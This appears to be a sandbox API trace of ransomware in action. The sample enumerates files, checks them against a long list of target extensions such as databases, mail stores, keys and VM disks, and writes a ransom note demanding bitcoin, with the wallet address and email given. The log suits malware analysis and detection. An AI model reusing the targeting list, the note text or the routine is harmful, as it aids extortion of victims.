lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" [0058.604] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.ems") returned 0 [0058.605] lstrlenA (lpString="*.ems") returned 5 [0058.605] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.db") returned 0 [0058.605] lstrlenA (lpString="*.db") returned 4 [0058.605] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.dbf") returned 0 [0058.605] lstrlenA (lpString="*.dbf") returned 5 [0058.605] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.myox") returned 0 [0058.605] lstrlenA (lpString="*.myox") returned 6 [0058.605] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.myo") returned 0 [0058.605] lstrlenA (lpString="*.myo") returned 5 [0058.605] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.qbw") returned 0 [0058.605] lstrlenA (lpString="*.qbw") returned 5 [0058.605] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.qbb") returned 0 [0058.605] lstrlenA (lpString="*.qbb") returned 5 [0058.605] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.qbm") returned 0 [0058.605] lstrlenA (lpString="*.qbm") returned 5 [0058.605] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.qbo") returned 0 [0058.605] lstrlenA (lpString="*.qbo") returned 5 [0058.605] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.qbx") returned 0 [0058.605] lstrlenA (lpString="*.qbx") returned 5 [0058.605] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.qba") returned 0 [0058.605] lstrlenA (lpString="*.qba") returned 5 [0058.606] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.qby") returned 0 [0058.606] lstrlenA (lpString="*.qby") returned 5 [0058.606] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.qbj") returned 0 [0058.606] lstrlenA (lpString="*.qbj") returned 5 [0058.606] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.ofx") returned 0 [0058.606] lstrlenA (lpString="*.ofx") returned 5 [0058.606] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.qif") returned 0 [0058.606] lstrlenA (lpString="*.qif") returned 5 [0058.606] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.mye") returned 0 [0058.606] lstrlenA (lpString="*.mye") returned 5 [0058.606] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.mbox") returned 0 [0058.606] lstrlenA (lpString="*.mbox") returned 6 [0058.606] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.eml") returned 0 [0058.606] lstrlenA (lpString="*.eml") returned 5 [0058.606] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.pst") returned 0 [0058.606] lstrlenA (lpString="*.pst") returned 5 [0058.607] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.ost") returned 0 [0058.607] lstrlenA (lpString="*.ost") returned 5 [0058.607] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.idx") returned 0 [0058.607] lstrlenA (lpString="*.idx") returned 5 [0058.607] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.dbx") returned 0 [0058.607] lstrlenA (lpString="*.dbx") returned 5 [0058.607] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.sql") returned 0 [0058.607] lstrlenA (lpString="*.sql") returned 5 [0058.607] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.mdb") returned 0 [0058.607] lstrlenA (lpString="*.mdb") returned 5 [0058.607] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.fdb") returned 0 [0058.607] lstrlenA (lpString="*.fdb") returned 5 [0058.607] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.wab") returned 0 [0058.607] lstrlenA (lpString="*.wab") returned 5 [0058.607] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.dat") returned 0 [0058.607] lstrlenA (lpString="*.dat") returned 5 [0058.607] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.txt") returned 0 [0058.607] lstrlenA (lpString="*.txt") returned 5 [0058.607] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.jpeg") returned 0 [0058.607] lstrlenA (lpString="*.jpeg") returned 6 [0058.607] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.jpg") returned 0 [0058.607] lstrlenA (lpString="*.jpg") returned 5 [0058.607] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.png") returned 0 [0058.608] lstrlenA (lpString="*.png") returned 5 [0058.608] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.php") returned 0 [0058.608] lstrlenA (lpString="*.php") returned 5 [0058.608] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.cs") returned 0 [0058.608] lstrlenA (lpString="*.cs") returned 4 [0058.608] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.cpp") returned 0 [0058.608] lstrlenA (lpString="*.cpp") returned 5 [0058.608] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.rar") returned 0 [0058.608] lstrlenA (lpString="*.rar") returned 5 [0058.608] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.zip") returned 0 [0058.608] lstrlenA (lpString="*.zip") returned 5 [0058.608] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.html") returned 0 [0058.608] lstrlenA (lpString="*.html") returned 6 [0058.608] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.htm") returned 0 [0058.608] lstrlenA (lpString="*.htm") returned 5 [0058.608] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.xlsx") returned 0 [0058.608] lstrlenA (lpString="*.xlsx") returned 6 [0058.608] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.xls") returned 0 [0058.608] lstrlenA (lpString="*.xls") returned 5 [0058.608] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.mp4") returned 0 [0058.608] lstrlenA (lpString="*.mp4") returned 5 [0058.609] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.ppt") returned 0 [0058.609] lstrlenA (lpString="*.ppt") returned 5 [0058.609] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.pptx") returned 0 [0058.609] lstrlenA (lpString="*.pptx") returned 6 [0058.609] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.doc") returned 0 [0058.609] lstrlenA (lpString="*.doc") returned 5 [0058.609] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.dot") returned 0 [0058.609] lstrlenA (lpString="*.dot") returned 5 [0058.609] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.docx") returned 0 [0058.609] lstrlenA (lpString="*.docx") returned 6 [0058.609] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.7z") returned 0 [0058.609] lstrlenA (lpString="*.7z") returned 4 [0058.609] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.tar") returned 0 [0058.609] lstrlenA (lpString="*.tar") returned 5 [0058.609] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.bz2") returned 0 [0058.609] lstrlenA (lpString="*.bz2") returned 5 [0058.609] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.gz") returned 0 [0058.609] lstrlenA (lpString="*.gz") returned 4 [0058.609] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.mkv") returned 0 [0058.610] lstrlenA (lpString="*.mkv") returned 5 [0058.610] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.eml") returned 0 [0058.610] lstrlenA (lpString="*.eml") returned 5 [0058.610] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.msg") returned 0 [0058.610] lstrlenA (lpString="*.msg") returned 5 [0058.610] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.edb") returned 0 [0058.610] lstrlenA (lpString="*.edb") returned 5 [0058.610] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.accdb") returned 0 [0058.610] lstrlenA (lpString="*.accdb") returned 7 [0058.610] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.odb") returned 0 [0058.610] lstrlenA (lpString="*.odb") returned 5 [0058.610] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.java") returned 0 [0058.610] lstrlenA (lpString="*.java") returned 6 [0058.610] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.asm") returned 0 [0058.610] lstrlenA (lpString="*.asm") returned 5 [0058.610] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.pfx") returned 0 [0058.610] lstrlenA (lpString="*.pfx") returned 5 [0058.610] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.pem") returned 0 [0058.610] lstrlenA (lpString="*.pem") returned 5 [0058.611] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.p12") returned 0 [0058.611] lstrlenA (lpString="*.p12") returned 5 [0058.611] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.gpg") returned 0 [0058.611] lstrlenA (lpString="*.gpg") returned 5 [0058.611] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.vsd") returned 0 [0058.611] lstrlenA (lpString="*.vsd") returned 5 [0058.611] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.odg") returned 0 [0058.611] lstrlenA (lpString="*.odg") returned 5 [0058.611] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.raw") returned 0 [0058.611] lstrlenA (lpString="*.raw") returned 5 [0058.611] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.nef") returned 0 [0058.611] lstrlenA (lpString="*.nef") returned 5 [0058.611] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.svg") returned 0 [0058.611] lstrlenA (lpString="*.svg") returned 5 [0058.611] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.psd") returned 0 [0058.611] lstrlenA (lpString="*.psd") returned 5 [0058.612] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.vmx") returned 0 [0058.612] lstrlenA (lpString="*.vmx") returned 5 [0058.612] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.vmdk") returned 0 [0058.612] lstrlenA (lpString="*.vmdk") returned 6 [0058.612] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.vdi") returned 0 [0058.612] lstrlenA (lpString="*.vdi") returned 5 [0058.612] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.lay6") returned 0 [0058.612] lstrlenA (lpString="*.lay6") returned 6 [0058.612] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.mpeg") returned 0 [0058.612] lstrlenA (lpString="*.mpeg") returned 6 [0058.612] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.djvu") returned 0 [0058.612] lstrlenA (lpString="*.djvu") returned 6 [0058.613] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.tiff") returned 0 [0058.613] lstrlenA (lpString="*.tiff") returned 6 [0058.613] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.backup") returned 0 [0058.613] lstrlenA (lpString="*.backup") returned 8 [0058.613] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.pdf") returned 0 [0058.613] lstrlenA (lpString="*.pdf") returned 5 [0058.613] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.cert") returned 0 [0058.613] lstrlenA (lpString="*.cert") returned 6 [0058.613] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.docm") returned 0 [0058.613] lstrlenA (lpString="*.docm") returned 6 [0058.613] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.xlsm") returned 0 [0058.613] lstrlenA (lpString="*.xlsm") returned 6 [0058.613] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.dwg") returned 0 [0058.613] lstrlenA (lpString="*.dwg") returned 5 [0058.613] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.nd") returned 0 [0058.613] lstrlenA (lpString="*.nd") returned 4 [0058.613] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.tlg") returned 0 [0058.613] lstrlenA (lpString="*.tlg") returned 5 [0058.613] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.lgb") returned 0 [0058.613] lstrlenA (lpString="*.lgb") returned 5 [0058.614] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.mov") returned 0 [0058.614] lstrlenA (lpString="*.mov") returned 5 [0058.614] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.xdw") returned 0 [0058.614] lstrlenA (lpString="*.xdw") returned 5 [0058.614] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.ods") returned 0 [0058.614] lstrlenA (lpString="*.ods") returned 5 [0058.614] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.wav") returned 0 [0058.614] lstrlenA (lpString="*.wav") returned 5 [0058.614] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.mp3") returned 0 [0058.614] lstrlenA (lpString="*.mp3") returned 5 [0058.614] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.aiff") returned 0 [0058.614] lstrlenA (lpString="*.aiff") returned 6 [0058.614] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.flac") returned 0 [0058.614] lstrlenA (lpString="*.flac") returned 6 [0058.614] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.m4a") returned 0 [0058.614] lstrlenA (lpString="*.m4a") returned 5 [0058.614] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", pszSpec="*.csv") returned 0 [0058.614] lstrlenA (lpString="*.csv") returned 5 [0058.615] FindNextFileA (in: hFindFile=0x4f8158, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36acb00, ftCreationTime.dwHighDateTime=0x1c2dd39, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x36acb00, ftLastWriteTime.dwHighDateTime=0x1c2dd39, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x4c0049, dwReserved1=0x530045, cFileName="TIME.XML", cAlternateFileName="")) returned 0 [0058.615] FindClose (in: hFindFile=0x4f8158 | out: hFindFile=0x4f8158) returned 1 [0058.615] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11f34c00, ftCreationTime.dwHighDateTime=0x1c62260, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11f34c00, ftLastWriteTime.dwHighDateTime=0x1c62260, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0058.615] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.615] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BASMLA.XSL") returned 1 [0058.615] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BASMLA.XSL") returned 1 [0058.615] lstrcmpiA (lpString1="", lpString2="BASMLA.XSL") returned -1 [0058.615] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*") returned="*.*" [0058.615] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\" [0058.615] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\") returned="" [0058.615] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\HOW TO DECRYPT FILES.txt" [0058.616] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\how to decrypt files.txt")) returned 0xffffffff [0058.616] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0058.616] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0058.616] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0058.618] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.618] CloseHandle (hObject=0x90) returned 1 [0058.619] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\", lpString2="BASMLA.XSL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" [0058.619] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.ems") returned 0 [0058.619] lstrlenA (lpString="*.ems") returned 5 [0058.619] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.db") returned 0 [0058.619] lstrlenA (lpString="*.db") returned 4 [0058.619] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.dbf") returned 0 [0058.619] lstrlenA (lpString="*.dbf") returned 5 [0058.619] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.myox") returned 0 [0058.619] lstrlenA (lpString="*.myox") returned 6 [0058.619] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.myo") returned 0 [0058.619] lstrlenA (lpString="*.myo") returned 5 [0058.619] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.qbw") returned 0 [0058.619] lstrlenA (lpString="*.qbw") returned 5 [0058.619] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.qbb") returned 0 [0058.619] lstrlenA (lpString="*.qbb") returned 5 [0058.619] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.qbm") returned 0 [0058.620] lstrlenA (lpString="*.qbm") returned 5 [0058.620] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.qbo") returned 0 [0058.620] lstrlenA (lpString="*.qbo") returned 5 [0058.620] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.qbx") returned 0 [0058.620] lstrlenA (lpString="*.qbx") returned 5 [0058.620] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.qba") returned 0 [0058.620] lstrlenA (lpString="*.qba") returned 5 [0058.620] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", pszSpec="*.qby") returned 0 [0058.620] lstrlenA (lpString="*.qby") returned 5 [0058.620] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart 